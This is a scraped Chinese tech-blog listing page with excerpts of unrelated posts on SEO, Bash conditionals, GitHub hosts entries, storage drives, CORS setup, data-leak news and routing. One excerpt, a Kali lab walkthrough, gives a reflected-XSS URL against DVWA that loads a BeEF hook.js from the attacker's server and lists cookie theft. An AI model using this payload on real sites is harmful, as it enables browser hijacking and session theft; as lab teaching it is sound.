-
网站收录对SEO有什么好处?网站免费收录平台有哪些?
什么是网站免费收录? 网络中的网站免费收录是指搜索引擎或者第三方网站收录平台免费为网站提供收录服务,即搜索引擎或者第三方网站收录平台将网站的内容加入索引中,使得用户可以通过搜索引擎或者第三方网站收录平台找到该网站。这种免费收录的方式对于网站主人来说,可以提高网站的曝光率和流量,为网站的推广和发展提供了便利。 搜索引擎通常会根据网站的质量和相关性对网站进行评估,评估结果越好,网站收录的机会就越大。而第三方网站收录平台为你提供外链支持,也将有利于搜索引擎对你网站的评价和网页的抓取。网站可以通过提高质量和关联性来提高被免费收录的机会,例如优化网站的内容、提高用户体验和提高网站的权威性和可信度等。此外,也可以通过提交网站地图和使用搜索引擎的工具和资源来提高网站收录的机会。 网站免费收录对网站 搜索引擎优化(SEO)有什么好处? 1. 提高网站权威性 当一个网站被搜索引擎或者其他第三方网站免费收录平台免费收录后,相当于搜索引擎或者其他第三方网站免费收录平台认可了该网站的内容质量和价值,在搜索引擎或者其他第三方网站免费收录平台页面上也可以给用户显示该网站的相关信息。这会给用户带来一个更直观的认知,并建立网站在用户心中的权威形象,提高了网站的信誉度。 2. 提高网站的曝光率和流量 搜索引擎或者其他第三方网站免费收录平台页面是大多数用户了解网站的方式之一。当一个网站被搜索引擎或者其他第三方网站免费收录平台免费收录后,就可以在搜索引擎或者其他第三方网站免费收录平台页面上展示,并有更多的机会被用户点击,这可以明显提高网站的曝光率和流量、增长网站的知名度。 3. 可帮助网站提高关联性 搜索引擎通过对网站内容的解析、分析和评估,来确定网站和搜索关键词之间的相关性。当一个网站被搜索引擎免费收录后,说明该网站的相关性较高,这可以在用户搜索相关关键词时提供更多机会让网站第一时间出现在搜索结果页面上,从而提高网站的关联性和排名。 4. 对网站SEO优化有益 在搜索引擎优化(SEO)中,免费收录是一个重要的环节。当网站被搜索引擎或者其他第三方网站免费收录平台免费收录后,它会为我们的网站增加外链、有助于得到搜索引擎官方的认可或者吸引蜘蛛前往抓取,并且有助于网站的权威性提升、页面排名上升和优化流量的增加。因此,网站 SEO 优化过程中,免费收录是非常重要的一步。 以上是网站免费收录对网站 SEO 搜索引擎优化的几个好处,同时网站也可以通过不断优化内容、提升用户体验、提高网站的权威性和可信度等方法来进一步提高自己的搜索排名和流量。 网站免费收录平台有哪些? 中国国内还有一些非搜索平台的第三方网站收录平台,比如: 1. 百万站:百万站是中国最大的网站资源库之一,提供了大量免费的网站提交、网站分类目录、站长平台等服务。 2. 目录网:目录网的特色是提供了众多的行业分类,用户可以根据自己的行业特点进行网站的免费提交和收录。 3. 站酷:站酷是一个专注于设计、创意和视觉艺术领域的综合性平台,提供了免费的创意作品上传和展示、设计师社区、设计资源下载等服务。 4. 天极网站库:天极网站库是天极网旗下的一个收录平台,提供了网站免费收录、网站分类目录、站长工具、网站建设等服务。 5. 网站大全:网站大全是一个聚合中国境内外优秀网站和资源的导航平台,提供了网站分类目录、免费收录等服务。 6、链接交易网和站长交易网。不要以为链接交易网或者站长交易网不属于网站收录平台了,他们提供了网站信息展示和链接直达,实实在在为你提供了外链输入。 7、导航网站:国内的导航网站数量还是不少的,如果每个导航网站你都能成功申请收录,将会给你带来不错的外链数量。 以上是一些非搜索平台的第三方网站免费收录平台,这些平台的服务类型和特点各不相同,用户应根据自身需求选择合适的平台进行网站收录。还有很多类似网站,本文这里就不详细列举了,需要你去费心发现。 ...
-
Bash基础知识:If Else语句详解
如果这样,那就那样,否则就……。还不明白吗?了解了 Bash Shell 脚本中的 if-else 语句后就明白了。 Bash 支持 if-else 语句,以便你可以在 shell 脚本中使用逻辑推理。 通用的 if-else 语法如下: if [ expression ]; then ## 如果条件为真则执行此块,否则转到下一个 elif [ expression ]; then ## 如果条件为真则执行此块,否则转到下一个 else ## 如果以上条件都不成立,则执行此块 fi 正如你所注意到的: elif 用于 “否则如果” 类型的条件。 if-else 条件始终以 fi 结尾。 使用分号 ; 和 then 关键字 在展示 if 和 else-if 的示例之前,我先分享一下常见的比较表达式(也称为测试条件)。 测试条件 以下是可用于数字比较的测试条件运算符: 条件 当满足以下条件时为真 $a -lt $b $a < $b($a 小于 $b) $a -gt $b $a > $b($a 大于 $b) $a -le $b $a <= $b($a 小于等于 $b ) $a -ge $b $a >= $b ($a 大于等于 $b) $a -eq $b $a == $b $a -ne $b $a != $b 如果你要比较字符串,可以使用以下测试条件: 条件 当满足以下条件时为真 "$a" = "$b" $a 与 $b 相同 "$a" == "$b" $a 与 $b 相同 "$a" != "$b" $a 与 $b 不同 -z "$a" $a 为空字符串 文件类型检查也有条件: 条件 当满足以下条件时为真 -f $a $a 是一个文件 -d $a $a 是一个目录 -L $a $a 是一个链接 现在你已经了解了各种比较表达式,让我们在各种示例中看看它们的实际应用。 在 Bash 中使用 if 语句 让我们创建一个脚本来告诉你给定的数字是否为偶数。 这是我的脚本,名为 even.sh: #!/bin/bash read -p "Enter the number: " num mod=$(($num%2)) if [ $mod -eq 0 ]; then echo "Number $num is even" fi 当模数运算(%)整除给定数字(本例中为 2)时,它返回零。 ? 特别注意空格。左括号和右括号与条件之间必须有空格。同样,条件运算符(-le、== 等)前后必须有空格。 这是我运行脚本时显示的内容: 你是否注意到,当数字为偶数时,脚本会告诉你,但当数字为奇数时,脚本不会显示任何内容? 让我们使用 else 来改进这个脚本。 使用 if else 语句 现在我在前面的脚本中添加了一条 else 语句。 这样,当你得到一个非零模数(因为奇数不能除以 2)时,它将进入 else 块。 #!/bin/bash read -p "Enter the number: " num mod=$(($num%2)) if [ $mod -eq 0 ]; then echo "Number $num is even" else echo "Number $num is odd" fi 让我们用相同的数字再次运行它: 正如你所看到的,该脚本更好,因为它还告诉你该数字是否为奇数。 使用 elif(否则如果)语句 这是一个检查给定数字是正数还是负数的脚本。在数学中,0 既不是正数也不是负数。 该脚本也检查了这一事实。 #!/bin/bash read -p "Enter the number: " num if [ $num -lt 0 ]; then echo "Number $num is negative" elif [ $num -gt 0 ]; then echo "Number $num is positive" else echo "Number $num is zero" fi 让我运行它来涵盖这里的所有三种情况: 用逻辑运算符组合多个条件 到目前为止,一切都很好。但是你是否知道通过使用与(&&)、或(||)等逻辑运算符可以在一个条件中包含多个条件? 它使你能够编写复杂的条件。 让我们编写一个脚本来告诉你给定的年份是否是闰年。 你还记得闰年的条件吗? 它应该被 4 整除,但如果它能被 100 整除,那么它就不是闰年。 但是,如果能被 400 整除,则为闰年。 这是我的脚本。 #!/bin/bash read -p "Enter the year: " year if [[ ($(($year%4)) -eq 0 && $(($year%100)) != 0) || ($(($year%400)) -eq 0) ]]; then echo "Year $year is leap year" else echo "Year $year is normal year" fi ? 注意上面双括号 [[ ]] 的使用。如果你使用逻辑运算符,则这是强制性的。 通过使用不同的数据运行脚本来验证脚本: ?️ 练习时间 让我们做一些练习吧 ? 练习 1:编写一个 Bash Shell 脚本,检查作为参数提供给它的字符串的长度。如果未提供参数,它将打印 “empty string”。 练习 2:编写一个 Shell 脚本来检查给定文件是否存在。你可以提供完整的文件路径作为参数或直接在脚本中使用它。 提示:文件使用 -f 选项 练习 3:通过检查给定文件是否是常规文件、目录或链接或者是否不存在来增强之前的脚本。 提示:使用 -f、-d 和 -L ...
-
Github打不开无法访问怎么办?如何解决?
Github只要是程序员应该没有人不知道的,开源网站,很多时候国内访问的时候不是很稳定,经常的登录不上打开不开网页,这种情况怎么办?如何解决?今天就分享一下方法。 话不多说直接开始教程: 1.打开C:\Windows\System32\drivers\etc 路径下的的hosts文件 在hosts文件内加上如下内容并保存 140.82.114.4 github.com 140.82.114.4 gist.github.com 185.199.108.153 assets-cdn.github.com 151.101.64.133 raw.githubusercontent.com 151.101.108.133 gist.githubusercontent.com 151.101.108.133 cloud.githubusercontent.com 151.101.108.133 camo.githubusercontent.com 151.101.108.133 avatars0.githubusercontent.com 151.101.108.133 avatars1.githubusercontent.com 151.101.108.133 avatars2.githubusercontent.com 151.101.108.133 avatars3.githubusercontent.com 151.101.108.133 avatars4.githubusercontent.com 151.101.108.133 avatars5.githubusercontent.com 151.101.108.133 avatars6.githubusercontent.com 151.101.108.133 avatars7.githubusercontent.com 151.101.108.133 avatars8.githubusercontent.com 如图 如果无法编辑,鼠标右键打开文件属性将“只读”取消勾选并应用保存 Win+R打开运行框,输入cmd打开命令窗口,输入<mark style="box-sizing: border-box; background: rgb(252, 248, 227); color: rgb(0, 0, 0); padding: 0.2em; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 16px; white-space: normal; outline: 0px !important;">ipconfig/flushdns命令会提示以下信息 然后就可以愉快的访问Github了! ...
-
什么是HDD(硬盘驱动器)
HDD是一种传统的存储设备,其工作原理是利用磁性技术来存储和检索数据。它的主要优势之一是成本效益。 与SSD相比,HDD的价格更低,容量更大,这使得它成为存储大量数据的理想选择。 对于需要存储海量数据、成本敏感的项目,HDD可能是更好的选择。 然而,HDD在性能方面存在一些局限性。 由于其机械性能,HDD的读写速度相对较慢,访问时间较长。 这在需要快速数据检索和高吞吐量的应用中可能导致性能瓶颈。 此外,HDD较易受冲击和振动影响,可能导致损坏或故障。 ...
-
HDD和SSD的区别有哪些?
特点 HDD SSD 工作原理 机械旋转部件和磁性技术 闪存技术 读/写速度 相对较慢 更快 随机访问速度 较慢,受寻道和旋转延迟影响 更快,无寻道和旋转延迟 访问时间 较长,受机械部件影响 更短 可靠性 机械部件易受冲击和振动影响 无机械部件,较耐久 耐用性 机械部件易损坏 抗冲击和振动 能耗 较高,机械部件需要较多能量 较低,节能 发热量 较高,机械部件运转产生热量 较低,不产生太多热量 噪音 机械运动产生噪音 无噪音 容量 容量较大 容量较小 价格 通常较便宜 通常较贵 适用场景 大容量存储,成本敏感项目 高性能、速度和可靠性要求 长期闲置可能性 可能引起数据丢失或降级 数据保持时间较长 数据持久性(断电情况) 需要时间将数据写入磁盘,较易丢失 数据写入速度快,断电时更可靠 技术发展趋势 逐渐被淘汰,但仍用于大容量存储 不断发展和改进,逐渐普及 ...
-
每日新闻:60秒读懂世界
...
-
宝塔面板网站跨域问题怎么解决?
在将网站主题静态文件放在其他网站的时候,发现存在跨域问题,经过一番摸索得以解决;解决方案如下:1.如果使用的nginx:打开网站的设置,找到配置文件,添加如下代码 add_header 'Access-Control-Allow-Origin' '*'; add_header 'Access-Control-Allow-Credentials' 'true'; add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS'; 添加完之后,重启nginx 2.如果使用的是apache 代码如下:打开网站的设置,找到配置文件,添加如下代码如果网站开启了ssl,注意有两处需要修改添加完之后,重启nginx 2.如果使用的是apache 代码如下:打开网站的设置,找到配置文件,添加如下代码如果网站开启了ssl,注意有两处需要修改 添加完之后,重启apache 如果配置了发现没有生效,尝试清理浏览器缓存,如果网站有cdn,尝试清理cdn缓存 ...
-
个人信息泄露,公安部抓获行业“内鬼”2300余名
据公安部召开的新闻发布会获悉,3年来公安部部署全国公安机关开展“净网”专项行动,严打侵犯公民个人信息违法犯罪活动,锚定行业内部泄露源头,重拳打击行业“内鬼”,共抓获电信运营商、医院、保险公司、房地产、物业、快递公司等行业“内鬼”2300余名。 公安机关开辟网络空间新战场,“打源头、摧平台、断链条”,全环节摧毁犯罪生态。锚定技术类侵犯公民个人信息犯罪源头,发起打击黑客犯罪集群战役,侦破一批利用木马病毒、钓鱼网站、渗透工具、网络爬虫等黑客手段窃取公民个人信息案件;锚定行业内部泄露源头,重拳打击行业“内鬼”,2020年以来共抓获电信运营商、医院、保险公司、房地产、物业、快递公司等行业“内鬼”2300余名;锚定买卖公民个人信息的重点网络平台,抓获了一批数据中间商和物料供应商;紧盯ChatGPT、云计算、区块链、“AI换脸”等新技术、新应用、新业态,侦破一批利用人工智能技术侵犯公民个人信息的新型案件;循线深挖下游犯罪线索,连带破获大量电信诈骗、套路贷、网络盗窃、网络洗钱等违法犯罪案件,形成“以点带面,全面开花”的打击态势。 公安部聚焦人民群众“急难愁盼”,深入开展专项整治。针对快递信息泄露引发电信诈骗的问题,公安部会同中央网信办、国家邮政局联合开展为期6个月的邮政快递领域个人信息泄露治理专项行动,期间共侦破窃取、贩卖快递信息案件206起,抓获犯罪嫌疑人844名,其中快递公司内部人员240名。针对“AI换脸”导致群众被欺诈的问题,公安机关发起专项会战,侦破相关案件79起,抓获犯罪嫌疑人515名。针对装修、贷款等骚扰电话的问题,公安机关联合工商部门开展专项整治,惩处了一批非法买卖公民个人信息的金融公司、装修公司、物业公司和房地产公司,循线打掉多个电话推广犯罪团伙。 此外,构建协同作战机制,打造综合治理格局。依托“净网”专项行动,公安部与中央网信办、最高人民法院、最高人民检察院、工业和信息化部等相关单位建立了长效合作机制,从严厉惩治犯罪、突出重点整治、加强行业监管、规范依法办案、开展宣传教育等多方面协同推进,形成了保护公民个人信息和数据安全的工作合力,构建起源头治理、综合治理、系统治理的工作格局。 本文来源:北京日报 ...
-
网传58集团“倒卖”毕业生简历信息
近日,国内多家媒体相继发文称,前 58 员工透露集团内部借助招聘名义,倒卖大量学生简历,此事一经爆出迅速引起社会讨论。随着此事热度不断上升,网友陆续扒出 58 集团在收集到大批学生简历后,高价卖给培训机构,以此收取返利。 网易财经披露 58 集团打包售卖的简历均来自其在 2015 年收购的新华英才招聘平台,该平台主要面向的用户群体是大学生,目前收录了约 200 万份简历。整个简历倒卖过程中,58 集团会根据学生层次对简历“分门别类”,以每份 30-2000 元不等出售,其中博士生简历高达1500元每份。据悉,建立购买方包括某巨头物流公司、饮料行业独角兽及企政单位在内的近 20 家企业,依照这种”模式“,58 集团一年多来牟利高达 200万元。 对于网传倒卖用户简历一事,58 客服回应称58 不会向任何人提供任何信息,也不会倒卖信息,不会存在任何的违规、违法操作。 招聘方倒卖用户简历事件屡禁不止 事实上,58 集团并非是首家被曝参与倒卖用户简历的招聘网站,2019 年 7 月,北京市朝阳区人民法院审理了一起“智联招聘“员工参与倒卖个人信息案。 从披露的案件详情来看,2016年,郑某通过朋友认识了智联招聘的员工卢某,两年后,卢某告诉郑某,自己有便宜的“套餐”,一份简历 4.5 元,一个企业客户的账号可以有 2800 份简历,但是需要提供企业的营业执照才能获得账号。 于是乎,为谋取钱财,郑某伪造了营业执照,在智联招聘员工卢某和王某处购买账号以获得简历后,每份简历加价 1 元到 1.5 元在淘宝上销售,直到案发,共倒卖了约 16 万余份用户简历,产生极其恶劣的社会影响,同时也给智联招聘带来负面新闻。 对于员工倒卖用户简历一事,智联很快就发布声明表示对由此给用户带来的困扰道歉,强调接下来智联官方会对信息欺诈、侵犯个人信息的违法行为,实行严厉查处和坚决打击。 国内权威媒体也曾多次招聘方倒卖用户简历。2021 年 央视“3·15”晚会上就曝光了猎聘、前程无忧、智联招聘等多家招聘平台存在出售用户简历的情况。央视指出智联招聘上的企业账户只要交钱办理会员,就可以不受数量限制下载包含姓名、电话及邮箱地址等关键信息的用户完整简历,在前程无忧和猎聘网上,企业账户同样只需支付费用,便可以下载到求职者的完整简历。 央视“3·15”晚会曝光后,智联招聘、前程无忧、猎聘三家招聘平台连夜发布了道歉声明,并一再强调集团内部已经采取相应措施,升级技术手段,联合起来抵制一切侵犯用户权益的不法行为,杜绝此时事件发生。 倒卖简历严重我国违反法律法规 无可争议,现阶段大多数公民求职都是要通过招聘网站,因此简历就成了不得不”交出“的资料,同时简历中又包含了姓名、出生日期、住址、电话、电子邮箱、身份证号码、甚至是个人特长等敏感用户信息,一旦”有心人“想要利用这些信息,用户无疑处于”裸奔“状态。 但现实情况是,国内倒卖简历非常猖獗,不法分子潜伏在微信、微博、QQ 群、知识、百度贴吧等社交媒体平台上,偷偷售卖简历。想要购买简历的人员只需输入“简历”、”投递“、”招聘“等关键词,就可以很轻松找到大量销售简历的地址链接。 那么倒卖简历违法吗?当然违法!根据《刑法》第二百五十三条之一,违反国家有关规定,向他人出售或者提供公民个人信息,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。 此外,根据《中华人民共和国个人信息保护法》第十条、第二十一条,任何组织、个人不得非法收集、使用、加工、传输他人个人信息,不得非法买卖、提供或者公开他人个人信息;不得从事危害国家安全、公共利益的个人信息处理活动。 《中华人民共和国数据安全法》在第五十一条同样规定窃取或者以其他非法方式获取数据,开展数据处理活动排除、限制竞争,或者损害个人、组织合法权益的,依照有关法律、行政法规的规定处罚。对于违反规定,给他人造成损害的,依法承担民事责任。违反本法规定,构成违反治安管理行为的,依法给予治安管理处罚;构成犯罪的,依法追究刑事责任。 招聘网站作为承接求职者与用人单位之间的桥梁,应时刻牢记简历中包含大量求职者的敏感个人信息,这些信息应该得到妥善保护并仅限于被用于招聘目的,将用户简历售卖给第三方,无论是出于商业利益还是其他目的,都是不道德且违法的行为。 对于求职简历安全问题,相关招聘平台和公司应足够重视,加强对用户数据的保护措施,加强内部监管和员工教育,杜绝将用户简历用于非法交易的行为,切勿因小利,”砸了“自己的招牌。与此同时,政府和监管机构也应加强对招聘网站的监管,制定和执行更严格相关法律法规,加大对售卖用户简历等违法行为的打击力度。 参考文章: https://baijiahao.baidu.com/s?id=1694319691515484518&wfr=spider&for=pc https://www.yuncaijing.com/news/id_13041120.html ...
-
小米手机去内置广告教程视频
手机一堆烦人的广告不知道怎么关闭的看 下载地址 蓝奏云 ...
-
涉案资金流水2亿余元,警方破获特大“网络水军”案;铃木两家授权经销商网站泄露客户的数据信息
涉案资金流水2亿余元,警方破获特大“网络水军”案; 近年来,“网络购物”迅猛发展,网购正在深刻地影响着我们的生活。好评率、点赞率、销售量……已成为影响网民判断的重要指标,可网民发现“跟风”下单后,收到的商品却不尽人意,有的甚至质量得不到保证,与看到的店铺评价相差甚远。这是怎么回事呢?这些店铺的销售量、好评极有可能是“网络水军”刷单刷出来的。 顺线追踪 严厉打击整治网络水军 今年1月,枣庄市公安局根据线索侦查发现,网民李某龙组建多个微信群、QQ群,招募水军刷手从事虚假交易、虚假评价、虚假点赞等违法犯罪活动。经进一步工作,发现该案涉及广东、福建等5省,涉案人员60余名。枣庄市公安局网安支队立即联合枣庄滕州市公安局成立专案组全力开展侦办工作。 专案组以“小某堡”刷单平台为突破口,不断抽丝剥茧、深入研判分析,迅速梳理出一条结构清晰、环节分明的刷单炒信、刷量控评“网络水军”犯罪产业链。专案组抽调100余名警力,分赴5省12市同步收网抓捕,将这一特大刷单炒信、刷量控评“网络水军”犯罪团伙一网打尽。 深度研判 起底幕后黑灰产利益链 此案是山东省近年来侦破最大的刷单炒信、刷量控评类“网络水军”案件。这一案件的成功侦破,摧毁了涉及水军刷手、刷手团长、刷单平台、技术服务、推广引流、电商商家等多个环节的“网络水军”犯罪链条,抓获犯罪嫌疑人61人,打掉“小某堡”等水军团伙15个、刷单平台132个、技术支撑公司3个,查获网络推手账号100余万个,缴获作案手机电脑一大宗,查扣冻结赃款1000余万元,涉案资金流水达2亿余元。该案实现了对刷单炒信、刷量控评类“网络水军”犯罪行为的全链条打击。 该‘网络水军’犯罪产业链分为刷单平台、水军‘团长’、水军刷手、技术公司、商家店铺、礼品代发等多个环节。商家将需要刷量的产品和拟定的好评软文上传至刷单平台,发起任务;水军团长组织水军刷手在电商平台下单支付发空包裹,并按照拟定的好评软文进行虚假评价,进行虚假交易完成刷单。 自2022年3月份以来,该团伙主犯吴某某、黄某某、李某某、曾某等人在全国多地以工作室名义成立窝点,创建“小某堡”、“某某生威”等刷单平台132个,招募水军团长、刷手33.8万余人,使用100余万个网络推手账号从事刷单炒信、刷量控评等违法犯罪活动,涉案商家达2.6万家。 严打犯罪 着力优化营商网络环境 今年的“315”晚会专题曝光一批“虚假评论”“口碑营销”类公司,此类“网络水军”体量庞大,市场需求旺盛,危害日益凸显,打击形势刻不容缓。 从当前情况来看,“网络水军”已经形成为分工合作、各把一块、利益分成、单线联系、逃避打击的“黑色产业链条”,网安部门将坚持打苗头、打‘七寸’、打生态,实施类案打击、规模打击,实现一次作战,整治一片的效果,从根本上消除隐患。 警方提示 不要为所谓的“兼职”迷惑而充当了水军 要提高依法维权意识 遇到“网络水军” 该投诉投诉、该举报就举报 警民携手 共同维护安全有序的网络环境 优化营商网络环境 铃木两家授权经销商网站泄露客户的数据信息 2023年7月21日,据Cybernews研究团队最新发现,两家铃木授权经销商网站被发现泄露客户敏感信息。本该被保护、保密的文件可以被公开访问,任何人都可能检索到用于访问用户数据、业务管理工具或管理网站的密码和令牌。攻击者可能使用这些凭据通过官方经销商渠道向客户发送钓鱼电子邮件,在破坏网站后访问用户信息,改变网站的运行方式,并降低网站中使用的安全措施。目前,尚不清楚泄露的数据是否已经被恶意攻击者所获取。 我们已经逐渐信任当地的汽车销售商、汽车制造商很少直接销售他们的汽车。但这些泄密事件表明区域经销商尚未跟上不断变化的威胁环境。这并不是汽车经销商第一次遇到网络安全问题。去年,勒索软件入侵了英国第二大汽车经销商的160个展厅。 此次,受影响的第一家经销店在巴西运营,该市场拥有2.143亿人口。巴西经销商Suzukiveiculos.com.br由 Hpe Automatores Do Brasil所有,该公司还控制着一家每年生产12万辆汽车的工厂,主要是三菱和铃木车型。他们声称拥有超过2,500名直接和间接员工。第二家汽车经销商位于拥有146万人口的中东岛国巴林。这是该国唯一的铃木汽车经销商,由Mohammed Jalal & Sons运营,成立于1973年。 铃木汽车公司是全球第十大汽车制造商,净资产达176亿美元。铃木公司总部设在日本静冈县滨松市的汽车、机车制造商,在日本轻型车市场中市占率排行第一。 文章来源 :山东网警巡查执法、安全学习那些事儿 精彩推荐 乘风破浪|华盟信安线下·web渗透夏令营暨网络安全就业班招生中! web渗透入门基础篇|充电 重磅|2023华盟HW工程师招募 ...
-
再见了,收费的XShell,推荐一款国产良心工具!
引言 FinalShell是一款免费的国产的集SSH工具、服务器管理、远程桌面加速的良心软件,同时支持Windows,macOS,Linux,它不单单是一个SSH工具,完整的说法应该叫一体化的服务器/网络管理软件。 FinalShell在很大程度上可以免费替代XShell,是国产中不多见的良心产品,具有免费海外服务器远程桌面加速,ssh加速,双边tcp加速,内网穿透等特色功能。 先预览一张使用时的截图。 使用截图预览 功能简介 连接linux服务器 我们第一步打开软件,然后点击如图红色线框所示处 开始使用 然后出现如图所示的功能菜单,可以连接linux服务器和windows远程桌面,这里我们先点击linux服务器 打开连接 在弹出的窗口中输入你的用户名和密码,认证方式你也可以选择其他的方式,我这里是使用用户名和密码连接测试的阿里的一台linux服务器 新建linux连接 然后在服务器列表中双击打开,这是成功后的界面 工作界面 支持复制粘贴 左边是一些服务器端数据的监控 服务器端监控 工作台下面是一些快捷菜单工具栏 快捷菜单栏 最下面是服务器文件管理 文件管理 它支持一些常用的操作,包括下载、打包传输、上传等常用的文件操作,非常的方便 文件管理 右上角还收藏了一些菜单 菜单 在选项中它还有一些常用的设置 常规设置 目前多达124个主题配色可供你选择,还有字体的设置 主题配色字体设置 连接windows 手头上没有测试环境,所以就不带大家测试了,我相信大多数情况下,可能连接Linux比较多一些。 连接windows 升级高级版(我觉得免费版已经足够强大了,而且很好用,如果支持国产可以考虑使用高级版,下面是高级版的部分功能) 网络监控可选择接口,同时监控多个网络接口速度. 打包传输,自动压缩解压,适合传输大量文件,文件夹和文本文件. 高级网络监控,监控每个进程监听的端口,以及网络 高级进程管理,详细显示进程信息.连接状态. 无限制的终端命令历史,路径历史,可快速输入命令,切换路径. 多地点ping监控,可选择不同地点. 总结 本文介绍一一个可以替代XShell的服务器管理软件,已经充分满足开发和运维需求,值得我们去使用。 ...
-
QQ群付费入群功能将于4月14日12点起停止服务
QQ群付费入群功能将于4月14日12点起停止服务 今日,腾讯QQ在群帮助页面发布公告:宣布QQ群付费入群即将停止服务。 官方表示,由于运营策略调整,自2021年4月14日12点起,QQ付费入群功能将停止服务,之后将不再支持设置加群方式为“付费入群”。 据了解,QQ付费入群功能于2016年正式开通,申请入群的用户,需要向群主支付一定的加群费用才能入群,付费金额在1-20元范围内的整数,值得一提的是付费入群无需验证,支付费用后即可入群,不需群主或管理员审核。 腾讯当时表示,这种付费加群的方式适合资源分享、教程、学习等类型的群,用户加群的费用会在次日进入“群主钱包”中。 付费加群功能也对QQ群有一定的要求:需要群等级≥LV2,群信用星级≥5 星,群主 QQ 等级≥LV12。 说实在的,付费加群功能取消后会给那些付费群里分享资料的小伙伴们带来更多困难,加个群还要去先加群主给钱才能进群! 再一个网络骗子这么多,谁知道给钱了会不会让自己进群呢!...
-
默认路由是什么,凭什么它就行?
看资料就是说路由表没有就发给默认路由,路由表没有不是正常情况吗?默认路由到底是什么?往外发是哪里?是上一级路由吗?一直到运营商的路由服务器吗? 0.0.0.0/0就是默认路由,它指向的是默认网关,即Default Gateway。为了解释清楚这几个字,讲个小故事吧。 有一天梁思申怎么也上不了网,于是给宋运辉打电话请求帮忙。宋运辉到了一看,呀,你的无线路由器没有开啊,那怎么上网啊? 梁思申抿嘴一笑,宋运辉将无线路由器的电源打开。过了几分钟,路由器启动完毕,梁思申的电脑就可以上网了。 梁思申:宋大厂长,教教我一点IT知识呗,下次遇到网络问题,我自己就可以解决了。 宋运辉:这还不简单,无线路由器家庭网络的网关(Default Gateway)。家里的电脑、IPAD、手机统统要通过这个网关与Internet通信。你把网关的电源关闭了,那你还怎么上网呢? 梁思申:懂了。听说每个电脑还需要一个IP地址才可以上网,那又是怎么回事呢? 宋运辉:你家里那么多手机、电脑,没有IP地址怎么区分每个设备呢? 梁思申:好像是的。那每一个电脑的IP地址又是怎么来的呢? 宋运辉:无线路由器内部运行一个程序叫DHCP服务器,只要无线连接上它,就可以给电脑动态分配一个IP地址以及其它上网信息。你的电脑获得的IP信息如下: IP地址 =10.1.1.2 网络掩码 =255.255.255.0 默认网关 =10.1.1.1 DNS服务器 =10.1.1.1 你的电脑也不是吃素的,它会根据以上信息生成4条路由表条目: 10.1.1.2 255.255.255.255 本地链路(下一跳) ---- > 我自己 10.1.1.0 255.255.255.0 本地链路(下一跳) ----- > 局域网,包括网关 0.0.0.0 0.0.0.0 10.1.1.1 (下一跳) ------> 互联网 255.255.255.255 255.255.255.255 本地链路(下一跳) ------> 广播地址,局域网所有主机,包括自己 梁思申:这个路由表看起来好难啊,解释解释呗。 宋运辉: Ping 10.1.1.2 时,使用路由1,这很好理解,自己与自己的本地通信。 Ping 10.1.1.1 时,使用路由2,同一网段的通信。 Ping 8.8.8.8 时,使用路由3,即默认路由,不同网段的通信。即你的主机与8.8.8.8主机不在一个网段。 Ping 255.255.255.255 时,使用路由4,广播通信,按照规则,这个网段(10.1.1.0/24)的主机都应该回复你,包括自己的主机。 梁思申:好像明白了。每次通信采用什么路由条目,是根据目的IP与路由条目的匹配度,匹配度越长的,越优先使用。如果没有匹配到,那么就使用0.0.0.0/0这条默认路由,做为最后的救命稻草,对吗? 宋运辉:看来你的小脑袋瓜不笨啊,一教就会!那我来考考你,如果DHCP服务器给你的电脑分配的IP参数少了一个信息,默认网关没有分配,你的电脑还能访问互联网吗? 梁思申:那就不能了。我的电脑没有了这条默认路由(0.0.0.0/0)。 宋运辉:很好。那电脑没有默认路由了,会怎么处理上网的报文呢? 梁思申:我猜猜,应该全部被扔了? 宋运辉:回答正确!再考你一个问题,你发现路由3与其它几条路由相比,是否有点另类? 梁思申:路由3 的下一跳和别的路由不一样。路由3 的下一跳 = 10.1.1.1,这个10.1.1.1应该就是路由器的IP地址,对吗? 宋运辉:是的。意思是当你Ping 8.8.8.8 这条命令产生的报文,需要发给网关10.1.1.1。 梁思申:Ping命令产生的报文,目的IP = 8.8.8.8, 源IP =10.1.1.2,那怎样才能将这个IP报文发给网关10.1.1.1呢? 宋运辉:这里有一个小花招。如果你的电脑将目的IP 修改为10.1.1.1, 那是可以将报文发给网关10.1.1.1。可是那不就相当于在 Ping 10.1.1.1了吗?并不是Ping 8.8.8.8的,对吗? 为了解决这个小难题,你的电脑只要将目的MAC,填写为网关的MAC地址即可。 所以你的电脑需要发ARP广播,请求网关10.1.1.1的MAC地址。获得了网关的MAC地址之后,一个神奇的报文就诞生了。 目的MAC= 网关10.1.1.1的MAC地址 源MAC = 10.1.1.2 的MAC地址 (梁思申的电脑MAC地址) 目的IP =8.8.8.8 源IP=10.1.1.2 (梁思申的电脑IP地址) 当这个报文被网关(无线路由器)网卡成功接收,无线路由器也要查路由表,最后也没有匹配到,那么只好使用最后的救命稻草:0.0.0.0/0,这条路由指向ISP。同理可得,将IP报文发给ISP路由器。...
-
2021Kali系列 -- XSS漏洞(Beef-xss)
简介:BeEF-XSS是一款非常强大的web框架攻击平台,集成了许多payload,可以实现许多功能! 一、安装beef-xss 输入beef-xss,提示安装,输入y 二、启动beef-xss 三、访问登陆页面: http://192.168.139.133:3000/ui/panel 四、让目标主机访问存在生成的钩子代码 http://192.168.139.129:81/dvwa/vulnerabilities/xss_r/?name=<script src="http://192.168.139.133:3000/hook.js"></script> 五、获取控制权限 绿色模块:表示模块适用当前用户,并且执行结果对用户不可见 红色模块:表示模块不适用当前用户,有些红色模块也可以执行 橙色模块:模块可用,但结果对用户可见 灰色模块:模块为在目标浏览器上测试过 1、获取cookies 2、获取网页源码 3、让目标主机弹出提示信息 禁止非法,后果自负 ...
-
为什么BGP需要TCP三次握手?
